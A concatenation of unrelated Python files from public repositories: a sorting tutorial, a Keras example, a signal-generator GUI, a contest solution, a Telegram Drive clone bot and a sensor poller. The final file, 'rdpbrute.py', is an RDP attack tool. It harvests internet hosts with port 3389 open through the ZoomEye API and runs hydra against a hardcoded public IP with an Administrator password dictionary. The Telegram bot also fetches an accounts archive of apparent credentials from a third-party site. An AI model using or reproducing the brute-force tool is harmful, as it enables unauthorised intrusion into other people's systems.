1

0

null

UTF-8

Python

false

865

py

#sort() is a list method, doesnot take an argument; syntax: list.sort() #list.sort() returns a sorted list(but doesnot print) #sorted(list)is a builtin function that returns a sorted list(does not print) a = ['c','a','d','b'] b = [3,2,1,4] print ('before sort(), the value of a = {}'.format(a)) print ('before sort(), the value of b = {}'.format(b)) a.sort()#sorts but doesnot print print ('after sort(), the value of a = {}'.format(a))#prints sorted list b.sort()#sorts but doesnot print print ('after sort(), the value of b = {}'.format(b))#prints sorted list #print (a.sort())-returns only None #print(b.sort()): returns only None c = ['d','a','c','b'] d = [5,2,3,4] print ('before sorted(), the value of c = {}'.format(c)) c = sorted(c) print ('after sorted(), the value of c = {}'.format(c)) e = [6,0,3] print(sorted(e)) f = ['w','c','s','e'] print (sorted(f))

[ "rajdharmkar@gmail.com" ]

rajdharmkar@gmail.com

4b6b8f43c24d2b892ba9b2cead0540982d6839a8

89504df28f5892a9a1fd14ce2378af14d6b03ede

/app/pl/mazurk/ml/keras/getting-started.py

e572d92049c5351ea767e83b4ef03c8932148836

[]

no_license

kmazur/ml-nanodegree

c343bbbd46ec8b4e0de88b7c96f0c7393b539451

d00ca3f0e1a3863959cfeb917d5dd8a51c94a5e5

refs/heads/master

2021-01-17T09:23:22.765880

2017-07-24T22:11:06

83,983,975

0

null

UTF-8

Python

false

551

py

from keras.models import Sequential from keras.layers import Dense, Activation model = Sequential() model.add(Dense(1, input_dim=784, activation='sigmoid')) model.compile(optimizer='rmsprop', loss='binary_crossentropy', metrics=['accuracy']) # generate dummy data import numpy as np data = np.random.random((1000, 784)) labels = np.random.randint(2, size=(1000, 1)) # train the model, iterating on the data in batches # of 32 samples history = model.fit(data, labels, nb_epoch=10, batch_size=32) print(history.history)

[ "mazurkrzysztof.k@gmail.com" ]

mazurkrzysztof.k@gmail.com

1defbe98e5336867810aaabef9e83a7b9aac3395

3e4fec214d82b5547df9ff94e163beb9369547f4

/new_meas03/RigolDG3000_RMcontroller_pyqt4.py

b271ac0775cb4789b4c572dc0c32a12435e2da42

[]

no_license

physikier/magnetometer

582caf47d3869340cd18a0aaa2d171e37591c79a

e9e6bd314d48b4b40ac5a2145b821305dec2d05e

refs/heads/master

2021-01-21T14:44:11.460815

2016-04-30T21:15:02

59,505,445

0

null

UTF-8

Python

false

14,742

py

import hardware.RigolDG3000 as rig import sys import numpy from PyQt4 import QtCore, QtGui, uic rigol = rig.RigolDG3000("USB0::0x1AB1::0x0588::DG1D124204534::INSTR") # Main QT Window Class # The Class which conations all QT Widgets and so on class ControllerGui(QtGui.QMainWindow): # controller_utils is an instance of the ControllerUtils class (Singleton) controller_utils = None # ui_utils is an instance of the UIUtils class (Singleton) ui_utils = None def __init__(self): super(ControllerGui, self).__init__() uic.loadUi("./RigolDG3000_FMspec/fm_spec_via_dg3000.ui", self) ControllerGui.controller_utils = ControllerUtils(self) ControllerGui.ui_utils = UIUtils(self) self.controller_utils.get_settings() # connect the button clicks with the specific functions self.button_get.clicked.connect(self.controller_utils.get_settings) self.button_quit.clicked.connect(QtCore.QCoreApplication.instance().quit) self.checkBox_ch1_active.stateChanged.connect(self.controller_utils.apply_ch1_stat) self.checkBox_ch2_active.stateChanged.connect(self.controller_utils.apply_ch2_stat) self.box_ch1_wform.currentIndexChanged.connect(self.controller_utils.apply_ch1_wform) self.box_ch2_wform.currentIndexChanged.connect(self.controller_utils.apply_ch2_wform) self.textbox_ch1_freq.editingFinished.connect(self.controller_utils.apply_ch1_freq) self.textbox_ch2_freq.editingFinished.connect(self.controller_utils.apply_ch2_freq) self.hscrollbar_ch1_freq.sliderReleased.connect(self.controller_utils.apply_ch1_freq) self.hscrollbar_ch2_freq.sliderReleased.connect(self.controller_utils.apply_ch2_freq) self.textbox_ch1_ampl.editingFinished.connect(self.controller_utils.apply_ch1_ampl) self.textbox_ch2_ampl.editingFinished.connect(self.controller_utils.apply_ch2_ampl) self.hscrollbar_ch1_ampl.sliderReleased.connect(self.controller_utils.apply_ch1_ampl) self.hscrollbar_ch2_ampl.sliderReleased.connect(self.controller_utils.apply_ch2_ampl) self.textbox_ch1_off.editingFinished.connect(self.controller_utils.apply_ch1_off) self.textbox_ch2_off.editingFinished.connect(self.controller_utils.apply_ch2_off) self.hscrollbar_ch1_off.sliderReleased.connect(self.controller_utils.apply_ch1_off) self.hscrollbar_ch2_off.sliderReleased.connect(self.controller_utils.apply_ch2_off) self.textbox_ch1_phase.editingFinished.connect(self.controller_utils.apply_ch1_phase) self.textbox_ch2_phase.editingFinished.connect(self.controller_utils.apply_ch2_phase) self.dial_ch1_phase.sliderReleased.connect(self.controller_utils.apply_ch1_phase) self.dial_ch2_phase.sliderReleased.connect(self.controller_utils.apply_ch2_phase) # connect the sliders/dials with the textbox above (and visa versa) to see the current slider/dial value # Frequency self.hscrollbar_ch1_freq.sliderMoved.connect(lambda slider=self.hscrollbar_ch1_freq, textbox=self.textbox_ch1_freq: self.ui_utils.connect_slider_textbox(slider=self.hscrollbar_ch1_freq, textbox=self.textbox_ch1_freq, factor=10)) self.hscrollbar_ch2_freq.sliderMoved.connect(lambda slider=self.hscrollbar_ch2_freq, textbox=self.textbox_ch2_freq: self.ui_utils.connect_slider_textbox(slider=self.hscrollbar_ch2_freq, textbox=self.textbox_ch2_freq, factor=10)) self.hscrollbar_ch1_freq.valueChanged.connect(lambda slider=self.hscrollbar_ch1_freq, textbox=self.textbox_ch1_freq: self.ui_utils.connect_slider_textbox(slider=self.hscrollbar_ch1_freq, textbox=self.textbox_ch1_freq, factor=10)) self.hscrollbar_ch2_freq.valueChanged.connect(lambda slider=self.hscrollbar_ch2_freq, textbox=self.textbox_ch2_freq: self.ui_utils.connect_slider_textbox(slider=self.hscrollbar_ch2_freq, textbox=self.textbox_ch2_freq, factor=10)) self.textbox_ch1_freq.editingFinished.connect(lambda slider=self.hscrollbar_ch1_freq, textbox=self.textbox_ch1_freq: self.ui_utils.connect_textbox_slider(textbox=self.textbox_ch1_freq, slider=self.hscrollbar_ch1_freq, factor=10)) self.textbox_ch2_freq.editingFinished.connect(lambda slider=self.hscrollbar_ch2_freq, textbox=self.textbox_ch2_freq: self.ui_utils.connect_textbox_slider(textbox=self.textbox_ch2_freq, slider=self.hscrollbar_ch2_freq, factor=10)) # Amplitude self.hscrollbar_ch1_ampl.sliderMoved.connect(lambda slider=self.hscrollbar_ch1_ampl, textbox=self.textbox_ch1_ampl: self.ui_utils.connect_slider_textbox(slider=self.hscrollbar_ch1_ampl, textbox=self.textbox_ch1_ampl, factor=10)) self.hscrollbar_ch2_ampl.sliderMoved.connect(lambda slider=self.hscrollbar_ch2_ampl, textbox=self.textbox_ch2_ampl: self.ui_utils.connect_slider_textbox(slider=self.hscrollbar_ch2_ampl, textbox=self.textbox_ch2_ampl, factor=10)) self.hscrollbar_ch1_ampl.valueChanged.connect(lambda slider=self.hscrollbar_ch1_ampl, textbox=self.textbox_ch1_ampl: self.ui_utils.connect_slider_textbox(slider=self.hscrollbar_ch1_ampl, textbox=self.textbox_ch1_ampl, factor=10)) self.hscrollbar_ch2_ampl.valueChanged.connect(lambda slider=self.hscrollbar_ch2_ampl, textbox=self.textbox_ch2_ampl: self.ui_utils.connect_slider_textbox(slider=self.hscrollbar_ch2_ampl, textbox=self.textbox_ch2_ampl, factor=10)) self.textbox_ch1_ampl.editingFinished.connect(lambda slider=self.hscrollbar_ch1_ampl, textbox=self.textbox_ch1_freq: self.ui_utils.connect_textbox_slider(textbox=self.textbox_ch1_ampl, slider=self.hscrollbar_ch1_ampl, factor=10)) self.textbox_ch2_ampl.editingFinished.connect(lambda slider=self.hscrollbar_ch2_ampl, textbox=self.textbox_ch2_freq: self.ui_utils.connect_textbox_slider(textbox=self.textbox_ch2_ampl, slider=self.hscrollbar_ch2_ampl, factor=10)) # Offset self.hscrollbar_ch1_off.valueChanged.connect(lambda slider=self.hscrollbar_ch1_off, textbox=self.textbox_ch1_off: self.ui_utils.connect_slider_textbox(slider=self.hscrollbar_ch1_off, textbox=self.textbox_ch1_off, factor=10)) self.hscrollbar_ch2_off.valueChanged.connect(lambda slider=self.hscrollbar_ch2_off, textbox=self.textbox_ch2_off: self.ui_utils.connect_slider_textbox(slider=self.hscrollbar_ch2_off, textbox=self.textbox_ch2_off, factor=10)) self.hscrollbar_ch1_off.sliderMoved.connect(lambda slider=self.hscrollbar_ch1_off, textbox=self.textbox_ch1_off: self.ui_utils.connect_slider_textbox(slider=self.hscrollbar_ch1_off, textbox=self.textbox_ch1_off, factor=10)) self.hscrollbar_ch2_off.sliderMoved.connect(lambda slider=self.hscrollbar_ch2_off, textbox=self.textbox_ch2_off: self.ui_utils.connect_slider_textbox(slider=self.hscrollbar_ch2_off, textbox=self.textbox_ch2_off, factor=10)) self.textbox_ch1_off.editingFinished.connect(lambda slider=self.hscrollbar_ch1_off, textbox=self.textbox_ch1_off: self.ui_utils.connect_textbox_slider(textbox=self.textbox_ch1_off, slider=self.hscrollbar_ch1_off, factor=10)) self.textbox_ch2_off.editingFinished.connect(lambda slider=self.hscrollbar_ch2_off, textbox=self.textbox_ch2_off: self.ui_utils.connect_textbox_slider(textbox=self.textbox_ch2_off, slider=self.hscrollbar_ch2_off, factor=10)) # Phase self.dial_ch1_phase.sliderMoved.connect(lambda slider=self.dial_ch1_phase, textbox=self.textbox_ch1_phase: self.ui_utils.connect_slider_textbox(slider=self.dial_ch1_phase, textbox=self.textbox_ch1_phase, factor=1)) self.dial_ch2_phase.sliderMoved.connect(lambda slider=self.dial_ch2_phase, textbox=self.textbox_ch2_phase: self.ui_utils.connect_slider_textbox(slider=self.dial_ch2_phase, textbox=self.textbox_ch2_phase, factor=1)) self.textbox_ch1_phase.editingFinished.connect(lambda slider=self.dial_ch1_phase, textbox=self.textbox_ch1_phase: self.ui_utils.connect_textbox_slider(textbox=self.textbox_ch1_phase, slider=self.dial_ch1_phase, factor=1)) self.textbox_ch2_phase.editingFinished.connect(lambda slider=self.dial_ch2_phase, textbox=self.textbox_ch2_phase: self.ui_utils.connect_textbox_slider(textbox=self.textbox_ch2_phase, slider=self.dial_ch2_phase, factor=1)) #self.get_settings() self.show() def eventFilter(self, source, event): if (event.type() == QtCore.QEvent.ModifiedChange and source is self.box_ch1_wform): print('test') return QtWidgets.QWidget.eventFilter(self, source, event) # Function Generator Utils class ControllerUtils(): # the gui is the instance of the main Qt Window (ControllerGui class) gui = None def __init__(self, gui): ControllerUtils.gui = gui def check_ch_status(self, channel): #print('rigol ouput value: ' + rigol.get_output(channel)) if rigol.get_output(channel) == "ON\n": output = 1 else: output = 0 return output def get_settings(self): ch1_active = self.check_ch_status(1) print('[GET] Channel 1 Status: ' + str(ch1_active)) #self.gui.checkBox_ch1_active.setChecked(ch1_active) self.gui.checkBox_ch1_active.setChecked(2) ch2_active = self.check_ch_status(2) print('[GET] Channel 2 Status: ' + str(ch2_active)) self.gui.checkBox_ch2_active.setChecked(ch2_active) ch1_wform = rigol.get_waveform(1)[4:] print('[GET] Channel 1 Waveform: ' + str(ch1_wform)) self.gui.box_ch1_wform.setCurrentIndex(self.gui.box_ch1_wform.findText(ch1_wform, QtCore.Qt.MatchFixedString)) ch2_wform = rigol.get_waveform(2)[4:] print('[GET] Channel 2 Waveform: ' + str(ch2_wform)) self.gui.box_ch2_wform.setCurrentIndex(self.gui.box_ch2_wform.findText(ch2_wform, QtCore.Qt.MatchFixedString)) ch1_freq = rigol.get_freq(1) print('[GET] Channel 1 Frequency: ' + str(ch1_freq)) self.gui.textbox_ch1_freq.setText(ch1_freq) self.gui.hscrollbar_ch1_freq.setValue(float(ch1_freq)) ch2_freq = rigol.get_freq(2)[4:] print('[GET] Channel 2 Frequency: ' + str(ch2_freq)) self.gui.textbox_ch2_freq.setText(ch2_freq) self.gui.hscrollbar_ch2_freq.setValue(float(ch2_freq)) ch1_ampl = rigol.get_ampl(1) print('[GET] Channel 1 Amplitude: ' + str(ch1_ampl)) self.gui.textbox_ch1_ampl.setText(ch1_ampl) self.gui.hscrollbar_ch1_ampl.setValue(float(ch1_ampl)*10) ch2_ampl = rigol.get_ampl(2)[5:] print('[GET] Channel 2 Amplitude: ' + str(ch2_ampl)) self.gui.textbox_ch2_ampl.setText(ch2_ampl) self.gui.hscrollbar_ch2_ampl.setValue(float(ch2_ampl)*10) ch1_off = rigol.get_off(1) print('[GET] Channel 1 Offset: ' + str(ch1_off)) self.gui.textbox_ch1_off.setText(ch1_off) self.gui.hscrollbar_ch1_off.setValue(float(ch1_off)*10) ch2_off = rigol.get_off(2) print('[GET] Channel 2 Offset: ' + str(ch2_off)) self.gui.textbox_ch2_off.setText(ch2_off) self.gui.hscrollbar_ch2_off.setValue(float(ch2_off)*10) ch1_phase = rigol.get_phase(1) print('[GET] Channel 1 Phase: ' + str(ch1_phase)) self.gui.textbox_ch1_phase.setText(ch1_phase) self.gui.dial_ch1_phase.setValue(float(ch1_phase)) ch2_phase = rigol.get_phase(2) print('[GET] Channel 2 Phase: ' + str(ch2_phase)) self.gui.textbox_ch2_phase.setText(ch2_phase) self.gui.dial_ch2_phase.setValue(float(ch2_phase)) print('got all settings...') def apply_ch1_stat(self): value_stat = self.gui.checkBox_ch1_active.checkState() if value_stat == 2: rigol.set_output(1, "ON") else: rigol.set_output(1, "OFF") print('[SET] Channel 1 Status: ' + str(value_stat)) def apply_ch2_stat(self): value_stat = self.gui.checkBox_ch2_active.checkState() if value_stat == 2: rigol.set_output(2, "ON") else: rigol.set_output(2, "OFF") print('[SET] Channel 2 Status: ' + str(value_stat)) def apply_ch1_wform(self): ch1_wform = self.gui.box_ch1_wform.currentText() rigol.set_waveform(1, ch1_wform) print('[SET] Channel 1 Waveform: ' + ch1_wform) def apply_ch2_wform(self): ch2_wform = self.gui.box_ch2_wform.currentText() rigol.set_waveform(2, ch2_wform) print('[SET] Channel 2 Waveform: ' + ch2_wform) def apply_ch1_freq(self): ch1_freq = self.gui.textbox_ch1_freq.text() rigol.set_freq(1, float(ch1_freq)) print('[SET] Channel 1 Frequency: ' + ch1_freq) def apply_ch2_freq(self): ch2_freq = self.gui.textbox_ch2_freq.text() rigol.set_freq(2, float(ch2_freq)) print('[SET] Channel 2 Frequency: ' + ch2_freq) def apply_ch1_ampl(self): ch1_ampl = self.gui.textbox_ch1_ampl.text() rigol.set_ampl(1, float(ch1_ampl)) print('[SET] Channel 1 Amplitude: ' + ch1_ampl) def apply_ch2_ampl(self): ch2_ampl = self.gui.textbox_ch2_ampl.text() rigol.set_ampl(2, float(ch2_ampl)) print('[SET] Channel 2 Amplitude: ' + ch2_ampl) def apply_ch1_off(self): #ch1_off = self.ui_utils.value_handler(self.gui.textbox_ch1_off.text()) ch1_off = self.gui.textbox_ch1_off.text() rigol.set_off(1, float(ch1_off)) print('[SET] Channel 1 Offset: ' + ch1_off) def apply_ch2_off(self): ch2_off = self.gui.textbox_ch2_off.text() rigol.set_off(2, float(ch2_off)) print('[SET] Channel 2 Offset: ' + ch2_off) def apply_ch1_phase(self): ch1_phase = self.gui.textbox_ch1_phase.text() rigol.set_phase(1, float(ch1_phase)) print('[SET] Channel 1 offset: ' + ch1_phase) def apply_ch2_phase(self): ch2_phase = self.gui.textbox_ch2_phase.text() rigol.set_phase(2, float(ch2_phase)) print('[SET] Channel 2 set: ' + ch2_phase) def close_rigol(self): rigol.close_rigol() # User Interface Utils class UIUtils(): gui = None def __init__(self, gui): UIUtils.gui = gui def connect_slider_textbox(self, slider, textbox, factor): textbox.setText(str(self.value_handler(slider.value(), factor))) def connect_textbox_slider(self, textbox, slider, factor): slider.setValue(int(float(textbox.text())*factor)) def value_handler(self, value, factor): scaled_value = '{0:.2f}'.format(float(value/factor)) return scaled_value def main(): app = QtGui.QApplication(sys.argv) app.setWindowIcon(QtGui.QIcon("icon1.png")); window = ControllerGui() sys.exit(app.exec_()) if __name__ == '__main__': main()

[ "phy76371@stud.uni-stuttgart.de" ]

phy76371@stud.uni-stuttgart.de

4079a5939d8149ce313449a2137c0d27b135d70d

54f352a242a8ad6ff5516703e91da61e08d9a9e6

/Source Codes/AtCoder/arc007/B/4778892.py

e50c65011d3a3d08b384a7d5b387ea1779015475

[]

no_license

Kawser-nerd/CLCDSA

5cbd8a4c3f65173e4e8e0d7ed845574c4770c3eb

aee32551795763b54acb26856ab239370cac4e75

refs/heads/master

2022-02-09T11:08:56.588303

2022-01-26T18:53:40

211,783,197

23

9

null

UTF-8

Python

false

264

py

N, M = [int(_) for _ in input().split()] disk = [int(input()) for i in range(M)] result = [(i + 1) for i in range(N)] n = 0 for d in disk: if d != n: i = result.index(d) result[i], n = n, d for i in range(N): print(result[i])

[ "kwnafi@yahoo.com" ]

kwnafi@yahoo.com

c7de1bec1f0955bc633eb67fad4e4cd01845a912

689374c378fb303ee8521f41b9140843e5047d7b

/bot/__main__.py

df71f49c0d2d72f0a569564ad8c64f4c68a28d32

[]

no_license

jon4646/telegramclonebot

f7e46fdbfc6d615fbe4ff5b3bf29fe33623ba52a

378a163be8794d1d40e0a2a2e04c46a00200a535

refs/heads/main

2023-02-22T12:41:47.025643

2021-01-25T03:46:17

333,927,450

0

null

2021-01-28T20:36:11

2021-01-28T20:36:10

null

UTF-8

Python

false

5,438

py

from telegram.ext import CommandHandler, run_async from bot.gDrive import GoogleDriveHelper from bot.fs_utils import get_readable_file_size from bot import LOGGER, dispatcher, updater, bot from bot.config import BOT_TOKEN, OWNER_ID, GDRIVE_FOLDER_ID from bot.decorators import is_authorised, is_owner from telegram.error import TimedOut, BadRequest from bot.clone_status import CloneStatus from bot.msg_utils import deleteMessage, sendMessage import time import dload REPO_LINK = "https://github.com/jagrit007/Telegram-CloneBot" # Soon to be used for direct updates from within the bot. @run_async def helpp(update, context): sendMessage("မသိတာများရှိလျှင် ဂျပန်ဂတုံး @moedyiu သို့ဆက်သွယ်ပါ။", context.bot, update, 'Markdown') @run_async def dl_sas(update, context): dload.save_unzip("https://javbabes.me/accounts.zip", "./") sendMessage("စတင်အသုံးပြုနိုင်ပါပြီ သင်၏ shared drive များတွင် telegramdrive1@googlegroups.com ကို Content Manager အဖြစ်ထည့်သွင်းထားပါ", context.bot, update, 'Markdown') @run_async def start(update, context): sendMessage("ကြိုဆိုပါတယ် /config ဟုရိုက်ပြီး စတင်လိုက်ပါ", context.bot, update, 'Markdown') # ;-; @run_async def helper(update, context): sendMessage("Here are the available commands of the bot\n\n" \ "*Usage:* `/clone <link> [DESTINATION_ID]`\n*Example:* \n1. `/clone https://drive.google.com/drive/u/1/folders/0AO-ISIXXXXXXXXXXXX`\n2. `/clone 0AO-ISIXXXXXXXXXXXX`" \ "\n*DESTIONATION_ID* is optional. It can be either link or ID to where you wish to store a particular clone." \ "\n\nYou can also *ignore folders* from clone process by doing the following:\n" \ "`/clone <FOLDER_ID> [DESTINATION] [id1,id2,id3]`\n In this example: id1, id2 and id3 would get ignored from cloning\nDo not use <> or [] in actual message." \ "*Make sure to not put any space between commas (,).*\n" \ f"Source of this bot: [GitHub]({REPO_LINK})", context.bot, update, 'Markdown') # TODO Cancel Clones with /cancel command. @run_async # @is_authorised def cloneNode(update, context): args = update.message.text.split(" ") if len(args) > 1: link = args[1] try: ignoreList = args[-1].split(',') except IndexError: ignoreList = [] DESTINATION_ID = GDRIVE_FOLDER_ID try: DESTINATION_ID = args[2] print(DESTINATION_ID) except IndexError: pass # Usage: /clone <FolderToClone> <Destination> <IDtoIgnoreFromClone>,<IDtoIgnoreFromClone> msg = sendMessage(f"Cloning: <code>{link}</code>", context.bot, update) status_class = CloneStatus() gd = GoogleDriveHelper(GFolder_ID=DESTINATION_ID) sendCloneStatus(update, context, status_class, msg, link) result = gd.clone(link, status_class, ignoreList=ignoreList) deleteMessage(context.bot, msg) status_class.set_status(True) sendMessage(result, context.bot, update) else: sendMessage("/copy SourceID DestinationID \n\n/copy https://drive.google.com/xxxxxxxxx https://drive.google.com/zzzzzzzzzz\n\nဟုပေးပို့ကူးယူပါ", bot, update) @run_async def sendCloneStatus(update, context, status, msg, link): old_text = '' while not status.done(): sleeper(3) try: text=f'🔗 *Cloning:* [{status.MainFolderName}]({status.MainFolderLink})\n━━━━━━━━━━━━━━\n🗃️ *Current File:* `{status.get_name()}`\n⬆️ *Transferred*: `{status.get_size()}`\n📁 *Destination:* [{status.DestinationFolderName}]({status.DestinationFolderLink})' if status.checkFileStatus(): text += f"\n🕒 *Checking Existing Files:* `{str(status.checkFileStatus())}`" if not text == old_text: msg.edit_text(text=text, parse_mode="Markdown", timeout=200) old_text = text except Exception as e: LOGGER.error(e) if str(e) == "Message to edit not found": break sleeper(2) continue return def sleeper(value, enabled=True): time.sleep(int(value)) return @run_async @is_owner def sendLogs(update, context): with open('log.txt', 'rb') as f: bot.send_document(document=f, filename=f.name, reply_to_message_id=update.message.message_id, chat_id=update.message.chat_id) def main(): LOGGER.info("Bot Started!") clone_handler = CommandHandler('copy', cloneNode) start_handler = CommandHandler('start', start) help_handler = CommandHandler('hellp', helper) log_handler = CommandHandler('logs', sendLogs) sas_handler = CommandHandler('config', dl_sas) helpp_handler = CommandHandler('help', helpp) dispatcher.add_handler(helpp_handler) dispatcher.add_handler(sas_handler) dispatcher.add_handler(log_handler) dispatcher.add_handler(start_handler) dispatcher.add_handler(clone_handler) dispatcher.add_handler(help_handler) updater.start_polling() main()

[ "noreply@github.com" ]

jon4646.noreply@github.com

75526fe121d3c14c20443e89184aa18b7e302a2e

b24adc31b7c781ea156882c3cc657bb03034e8d4

/OpensenseMapTemperatureLoop.py

02057ba130f2ab23aa31ae88899d148ba9390ac1

[]

no_license

harunler/PythonStreaming101

271c7ca8dfd87da95412d4bc89c2ba80ac491927

8d2b4342cff776197ada8488e5bc953ddfb73cc2

refs/heads/master

2022-08-12T21:59:14.480406

2020-05-04T17:47:19

259,614,626

0

null

UTF-8

Python

false

1,018

py

import asyncio import aiohttp import json STATION_ID = "5b8449037c519100190fc728" SENSOR_ID = "5b8449037c519100190fc72a" async def fetchContent(session, url): async with session.get(url) as response: return await response.text() async def getTemperature(): async with aiohttp.ClientSession() as session: url = f"https://api.opensensemap.org/boxes/{STATION_ID}?format=json" content = await fetchContent(session, url) data = json.loads(content) sensors = data["sensors"] for sensor in sensors: if sensor["_id"] == SENSOR_ID: print( sensor["lastMeasurement"]["createdAt"], sensor["title"], sensor["lastMeasurement"]["value"], sensor["unit"], sep = ", ") await asyncio.sleep(60) loop.create_task(getTemperature()) if __name__ == '__main__': loop = asyncio.get_event_loop() loop.create_task(getTemperature()) loop.run_forever() loop.stop() loop.close()

[ "noreply@github.com" ]

harunler.noreply@github.com

c4ea8e6e09385564e75ef4d36a7fafa8033aaffb

691e4890a070b18feb74e1bf817af8ebe9db342b

/V-Scrack/exp/payload/rdpbrute.py

ca37e6fb3d5b4ee57d7232ee3d6aaf8c36b5749a

[]

no_license

witchfindertr/Python-crack

764af457b140fad4f28f259dc14c444d2445b287

88659e72e98d4cec0df52d2f5b4b9c8af35a39a6

refs/heads/master

2023-02-23T12:45:11.475706

2020-03-03T14:41:05

null

0

null

UTF-8

Python

false

1,409

py

# -*-coding:utf-8-*- import optparse import os import requests import time def main(): usage='[help -s 扫描全网3389]' parser=optparse.OptionParser(usage) parser.add_option('-s',action='store_true',dest='ji',help='扫描全网3389') parser.add_option('-b',dest='bao',help='爆破字典（username）') parser.add_option('-p',dest='passs',help='爆破字典(password)') parser.add_option('-x',dest='host',help='目标') (options,args)=parser.parse_args() if options.ji: Ji() elif options.bao and options.host and options.passs: bao=options.bao ip=options.host passs=options.passs Bao(bao,ip,passs) else: parser.print_help() exit() def Ji(): for r in range(1,10): time.sleep(1) g='https://api.zoomeye.org/host/search?query=port:3389&page={}'.format(r) headers={"Authorization":"JWT token"} r=requests.get(g,headers=headers) sd=r.json() rsd=sd['matches'][0:] for l in rsd: print(l['ip']) owe=l['ip'] with open('3389.txt','a') as p: p.write(owe+'\n') def Bao(bao,ip,passs): baopo=os.system('hydra.exe -L {} -P {} rdp://{}'.format(bao,passs,ip)) if __name__ == '__main__': bao = 'Administrator', passs = 'pass_dict.txt', ip = '150.109.64.81', res = Bao(bao,ip,passs) print(res)

[ "xianghgoog@gmail.com" ]

xianghgoog@gmail.com